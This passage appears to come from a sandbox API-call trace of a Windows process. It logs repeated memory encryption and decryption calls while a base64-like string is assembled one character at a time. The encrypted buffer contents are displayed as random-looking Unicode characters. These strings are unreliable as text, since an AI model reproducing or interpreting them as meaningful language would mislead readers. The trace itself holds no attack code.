OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0243.359] SysStringLen (param_1="ἷ䆣ƭ靴ﮦ빎⻺䯵") returned 0x8 [0243.359] SysStringLen (param_1="ἷ䆣ƭ靴ﮦ빎⻺䯵") returned 0x8 [0243.359] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0243.359] SysStringLen (param_1="NDZlODRm") returned 0x8 [0243.359] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0243.359] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0243.359] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0243.359] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0243.360] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x10 [0243.360] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0243.360] SysStringLen (param_1="NDZlODRmY뮇펬᠚࣢ᣆ㬞勉") returned 0x10 [0243.360] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0243.360] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈ິ퇒䄣䝰尫붌丒") returned 0x10 [0243.360] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈ິ퇒䄣䝰尫붌丒") returned 0x10 [0243.360] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0243.361] SysStringLen (param_1="NDZlODRmYz펬᠚࣢ᣆ㬞勉") returned 0x10 [0243.361] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0243.361] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뷰鱙켜쐠渂ጙ") returned 0x10 [0243.361] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뷰鱙켜쐠渂ጙ") returned 0x10 [0243.361] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0243.361] SysStringLen (param_1="NDZlODRmYzN᠚࣢ᣆ㬞勉") returned 0x10 [0243.361] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0243.361] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈切淿⳸㷨ⷻ彍굸") returned 0x10 [0243.361] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈切淿⳸㷨ⷻ彍굸") returned 0x10 [0243.361] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0243.361] SysStringLen (param_1="NDZlODRmYzNl࣢ᣆ㬞勉") returned 0x10 [0243.362] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0243.362] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈\⣙ᖳಊ垵ỽ뒡ऺ∭) returned 0x10 [0243.362] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈\⣙ᖳಊ垵ỽ뒡ऺ∭) returned 0x10 [0243.362] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0243.362] SysStringLen (param_1="NDZlODRmYzNlYᣆ㬞勉") returned 0x10 [0243.362] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0243.362] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뜤翜佹诞夋ヵ秭㑲") returned 0x10 [0243.362] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뜤翜佹诞夋ヵ秭㑲") returned 0x10 [0243.362] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0243.362] SysStringLen (param_1="NDZlODRmYzNlYT㬞勉") returned 0x10 [0243.362] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0243.362] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뽮昊\槛ጔᰆ崣⋀) returned 0x10 [0243.362] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뽮昊\槛ጔᰆ崣⋀) returned 0x10 [0243.363] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0243.363] SysStringLen (param_1="NDZlODRmYzNlYTJ勉") returned 0x10 [0243.363] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0243.363] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈콨鄪䴳ꘘ₿㳻섖") returned 0x10 [0243.363] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈콨鄪䴳ꘘ₿㳻섖") returned 0x10 [0243.363] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0243.363] SysStringLen (param_1="NDZlODRmYzNlYTJh") returned 0x10 [0243.363] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0243.363] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0243.363] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0243.364] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0243.364] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x18 [0243.364] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0243.364] SysStringLen (param_1="NDZlODRmYzNlYTJhM虵亅㸱멷嘇ꚺ") returned 0x18 [0243.364] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0243.364] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ʹℭ䠲鵊퇱े") returned 0x18 [0243.364] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ʹℭ䠲鵊퇱े") returned 0x18 [0243.364] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0243.364] SysStringLen (param_1="NDZlODRmYzNlYTJhMD亅㸱멷嘇ꚺ") returned 0x18 [0243.365] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0243.365] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴뮼ᖽꜥॆ칖䝉") returned 0x18 [0243.365] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴뮼ᖽꜥॆ칖䝉") returned 0x18 [0243.365] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0243.365] SysStringLen (param_1="NDZlODRmYzNlYTJhMDF㸱멷嘇ꚺ") returned 0x18 [0243.365] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0243.365] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴퉢麻齟౬缍幠呌") returned 0x18 [0243.365] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴퉢麻齟౬缍幠呌") returned 0x18 [0243.365] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0243.365] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFl멷嘇ꚺ") returned 0x18 [0243.365] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0243.365] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ራ䃳ꂺⱿ쑪") returned 0x18 [0243.365] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ራ䃳ꂺⱿ쑪") returned 0x18 [0243.366] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0243.366] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlM嘇ꚺ") returned 0x18 [0243.366] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0243.366] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴䉌龢ʦ樞䍳ሐṪ") returned 0x18 [0243.366] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴䉌龢ʦ樞䍳ሐṪ") returned 0x18 [0243.366] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0243.366] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTꚺ") returned 0x18 [0243.366] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0243.366] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴⭝\⻚﻾沞쀩饒⋐) returned 0x18 [0243.366] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴⭝\⻚﻾沞쀩饒⋐) returned 0x18 [0243.366] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0243.366] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTU") returned 0x18 [0243.366] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0243.367] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ꗛ⾪蒷᪻릿ู찲鞃") returned 0x18 [0243.367] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ꗛ⾪蒷᪻릿ู찲鞃") returned 0x18 [0243.367] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0243.367] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUw") returned 0x18 [0243.367] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0243.367] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0243.367] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0243.367] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0243.368] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x20 [0243.368] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0243.368] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZㄵ㋛仄杫ℂ︸饉") returned 0x20 [0243.368] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0243.368] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲铩퀩峹闓郮\⋛) returned 0x20 [0243.368] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲铩퀩峹闓郮\⋛) returned 0x20 [0243.368] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0243.368] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZD㋛仄杫ℂ︸饉") returned 0x20 [0243.368] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0243.368] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲ᤓ⭤釋径ẖ") returned 0x20 [0243.368] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲ᤓ⭤釋径ẖ") returned 0x20 [0243.368] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0243.368] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE仄杫ℂ︸饉") returned 0x20 [0243.369] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0243.369] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲俫箙덵ꀓ솑ￛ罺኿") returned 0x20 [0243.369] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲俫箙덵ꀓ솑ￛ罺኿") returned 0x20 [0243.369] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0243.369] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3杫ℂ︸饉") returned 0x20 [0243.369] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0243.369] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲复⿉ﵺ彺㇍㞇㑜岔") returned 0x20 [0243.369] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲复⿉ﵺ彺㇍㞇㑜岔") returned 0x20 [0243.369] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0243.369] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yℂ︸饉") returned 0x20 [0243.369] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0243.369] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲⸸䟷ᖃח⡙\꽉⊏) returned 0x20 [0243.369] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲⸸䟷ᖃח⡙\꽉⊏) returned 0x20 [0243.370] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0243.370] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yz︸饉") returned 0x20 [0243.370] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0243.370] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲樝䎄㋬竵⭕쾫챶") returned 0x20 [0243.370] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲樝䎄㋬竵⭕쾫챶") returned 0x20 [0243.370] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0243.370] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yzd饉") returned 0x20 [0243.370] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0243.370] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲虜偤쎛犜ᔴ") returned 0x20 [0243.370] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲虜偤쎛犜ᔴ") returned 0x20 [0243.370] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0243.370] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yzdi") returned 0x20 [0243.370] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0243.371] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0243.371] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0243.371] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0243.371] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x28 [0243.371] SystemFunction041 (in: Memory=0x5c9b32c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b32c) returned 0x0 [0243.371] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiM⤷挠ﵝ九갧") returned 0x28 [0243.371] SystemFunction040 (in: Memory=0x5c9b32c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b32c) returned 0x0 [0243.372] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ♡ஊ픞딱ǭ譑∠) returned 0x28 [0243.372] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ♡ஊ픞딱ǭ譑∠) returned 0x28 [0243.372] SystemFunction041 (in: Memory=0x5c9b32c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b32c) returned 0x0 [0243.372] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMm⤷挠ﵝ九갧") returned 0x28 [0243.372] SystemFunction040 (in: Memory=0x5c9b32c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b32c) returned 0x0 [0243.372] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ⩡ඈ鐅䦌㫣噬㯥익∈) returned 0x28 [0243.372] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ⩡ඈ鐅䦌㫣噬㯥익∈) returned 0x28 [0243.372] SystemFunction041 (in: Memory=0x5c9b32c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b32c) returned 0x0 [0243.372] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQ挠ﵝ九갧") returned 0x28 [0243.372] SystemFunction040 (in: Memory=0x5c9b32c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b32c) returned 0x0 [0243.372] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖꛆ᪴洎榃䑝衬㟠⋁) returned 0x28 [0243.372] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖꛆ᪴洎榃䑝衬㟠⋁) returned 0x28 [0243.372] SystemFunction041 (in: Memory=0x5c9b32c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b32c) returned 0x0 [0243.373] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzﵝ九갧") returned 0x28 [0243.373] SystemFunction040 (in: Memory=0x5c9b32c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b32c) returned 0x0 [0243.373] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ끡Ẉఽ笏ᱚ븓蟳ﯘ∻) returned 0x28 [0243.373] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ끡Ẉఽ笏ᱚ븓蟳ﯘ∻) returned 0x28 [0243.373] SystemFunction041 (in: Memory=0x5c9b32c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b32c) returned 0x0 [0243.373] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN九갧") returned 0x28 [0243.373] SystemFunction040 (in: Memory=0x5c9b32c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b32c) returned 0x0 [0243.373] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ艡⸇햃ᔼ饰驌∖) returned 0x28 [0243.373] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ艡⸇햃ᔼ饰驌∖) returned 0x28 [0243.373] SystemFunction041 (in: Memory=0x5c9b32c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b32c) returned 0x0 [0243.373] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2갧") returned 0x28 [0243.373] SystemFunction040 (in: Memory=0x5c9b32c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b32c) returned 0x0 [0243.373] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ顡㼙몺䰅▍鄗軑⊨) returned 0x28 [0243.373] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ顡㼙몺䰅▍鄗軑⊨) returned 0x28 [0243.374] SystemFunction041 (in: Memory=0x5c9b32c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b32c) returned 0x0 [0243.374] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2J갧") returned 0x28 [0243.374] SystemFunction040 (in: Memory=0x5c9b32c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b32c) returned 0x0 [0243.374] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ띡랡ꚠ馋酅汪∘) returned 0x28 [0243.374] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ띡랡ꚠ馋酅汪∘) returned 0x28 [0243.374] SystemFunction041 (in: Memory=0x5c9b32c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b32c) returned 0x0 [0243.374] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2Jh") returned 0x28 [0243.374] SystemFunction040 (in: Memory=0x5c9b32c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b32c) returned 0x0 [0243.374] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0243.374] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0243.375] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0243.375] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x30 [0243.375] SystemFunction041 (in: Memory=0x5c92b54, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92b54) returned 0x0 [0243.375] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN셳㻶벗颯軠삳") returned 0x30 [0243.375] SystemFunction040 (in: Memory=0x5c92b54, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92b54) returned 0x0 [0243.375] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製昍仼먻표䥥芁鼶≙) returned 0x30 [0243.375] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製昍仼먻표䥥芁鼶≙) returned 0x30 [0243.375] SystemFunction041 (in: Memory=0x5c92b54, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92b54) returned 0x0 [0243.375] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2㻶벗颯軠삳") returned 0x30 [0243.375] SystemFunction040 (in: Memory=0x5c92b54, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92b54) returned 0x0 [0243.376] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製儍\䥒쿲\쫛⊠) returned 0x30 [0243.376] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製儍\䥒쿲\쫛⊠) returned 0x30 [0243.376] SystemFunction041 (in: Memory=0x5c92b54, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92b54) returned 0x0 [0243.376] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q㻶벗颯軠삳") returned 0x30 [0243.376] SystemFunction040 (in: Memory=0x5c92b54, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92b54) 